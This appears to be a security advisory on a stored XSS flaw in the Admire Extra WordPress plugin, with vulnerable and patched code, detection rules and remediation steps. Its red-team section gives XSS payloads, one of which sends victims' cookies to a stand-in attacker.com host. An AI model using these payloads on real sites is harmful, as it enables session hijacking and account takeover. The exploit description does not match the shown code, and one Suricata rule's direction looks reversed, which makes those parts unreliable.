CVE-2024-13665

Executive Summary

CVE-2024-13665 is a Stored Cross-Site Scripting (XSS) vulnerability found in the Admire Extra WordPress plugin, affecting all versions up to and including 1.6. The flaw resides in the plugin's space shortcode, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts into pages. When a victim (including administrators) visits the compromised page, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is part of the WordPress ecosystem and is not related to Apache or Nginx.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is elevated due to the low privileges required and the lack of user interaction for script execution. Although the CVSS score is Medium, the potential for account takeover and lateral movement makes this a priority for patching.

Deep Dive & Mechanics

The vulnerability exists in the space shortcode provided by the Admire Extra plugin. Shortcodes in WordPress are parsed by the plugin, and user-supplied attributes (e.g., class, style, data-*) are directly embedded into the page output without proper sanitization or escaping. An attacker with Contributor-level access can create or edit posts/pages and insert the shortcode with malicious JavaScript payloads in attributes. When the page is rendered, the payload executes in the context of the victim's browser.

Attack Flow:

1. Attacker logs in as a Contributor.
2. Creates a new post or edits an existing one.
3. Inserts the [space] shortcode with a crafted attribute, e.g., [space class="xss" onmouseover="alert(1)"].
4. The plugin outputs the attribute without escaping, resulting in <div class="xss" onmouseover="alert(1)">.
5. When any user (including admins) visits the page, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (version 1.6):

function admire_space_shortcode($atts) {
    $atts = shortcode_atts(array('class' => ''), $atts);
    return '<div class="' . $atts['class'] . '"> </div>';
}
add_shortcode('space', 'admire_space_shortcode');

Patched Code (hypothetical fix):

function admire_space_shortcode($atts) {
    $atts = shortcode_atts(array('class' => ''), $atts);
    $safe_class = esc_attr($atts['class']);
    return '<div class="' . $safe_class . '"> </div>';
}
add_shortcode('space', 'admire_space_shortcode');

The fix uses esc_attr() to escape the attribute value, preventing XSS. Additionally, the plugin should use wp_kses() for more complex attributes.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with Admire Extra plugin <= 1.6.
• Contributor-level account.

Exploit Steps:

1. Log in as a Contributor.
2. Create a new post.
3. In the content editor, insert the following shortcode:

   [space class="xss" onmouseover="alert(document.cookie)"]
   

4. Publish the post.
5. Send the post link to a victim (e.g., admin).
6. When the victim hovers over the injected element, the script executes.

Advanced Payload:

[space class="xss" onfocus="fetch('https://attacker.com/steal?cookie='+document.cookie)" autofocus]

Blue Team

Detection:

• Monitor for posts/pages containing the [space] shortcode with suspicious attributes.
• Use WAF rules to block common XSS patterns in shortcode attributes.
• Review user activity logs for Contributor-level users creating posts with unusual shortcode usage.

Mitigation:

• Disable the Admire Extra plugin until a patch is applied.
• Implement Content Security Policy (CSP) headers to restrict inline script execution.
• Use a WordPress security plugin to monitor file changes and detect malicious shortcodes.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/admire-extra/shortcodes.php (contains vulnerable code)
• Pattern in database: [space class=" followed by JavaScript event handlers (e.g., onmouseover, onfocus)
• HTTP Request: POST to /wp-admin/post.php with content containing [space and event handlers
• Logs: Suspicious shortcode usage in post revisions or page content

Detection Engineering

YARA Rule

rule CVE_2024_13665_Stored_XSS {
    meta:
        description = "Detects Admire Extra plugin stored XSS payloads in WordPress content"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-13665"
    strings:
        $shortcode = /\[space\s+[^\]]*?(on\w+\s*=|javascript:)/i
        $event_handler = /on(mouseover|focus|click|load|error)\s*=\s*["']?[^"'\s>]+/i
    condition:
        $shortcode or $event_handler
}

Sigma Rule

title: CVE-2024-13665 Admire Extra Stored XSS
id: 8a3f7c2e-1b4d-4e9f-8c6a-5d7b2e1f3a4c
status: experimental
description: Detects stored XSS via Admire Extra shortcode in WordPress
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: '/wp-admin/post.php'
        http.body|contains: '[space'
        http.body|re: 'on\w+\s*='
    condition: selection
falsepositives:
    - Legitimate use of shortcode with safe attributes
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-13665 Admire Extra Stored XSS Attempt"; flow:to_server,established; content:"[space"; http_client_body; pcre:"/\[space\s+[^\]]*?(on\w+\s*=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the Admire Extra plugin if not essential.
2. Short-term: Apply input validation and output escaping to the space shortcode (see patched code above).
3. Long-term: Update to a patched version when released by the vendor.
4. Compensating controls:
   • Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
   • Enforce Content Security Policy (CSP) headers.
   • Restrict Contributor-level permissions to trusted users only.
   • Regularly audit shortcode usage in posts and pages.

Valters IT
Securing Digital Frontiers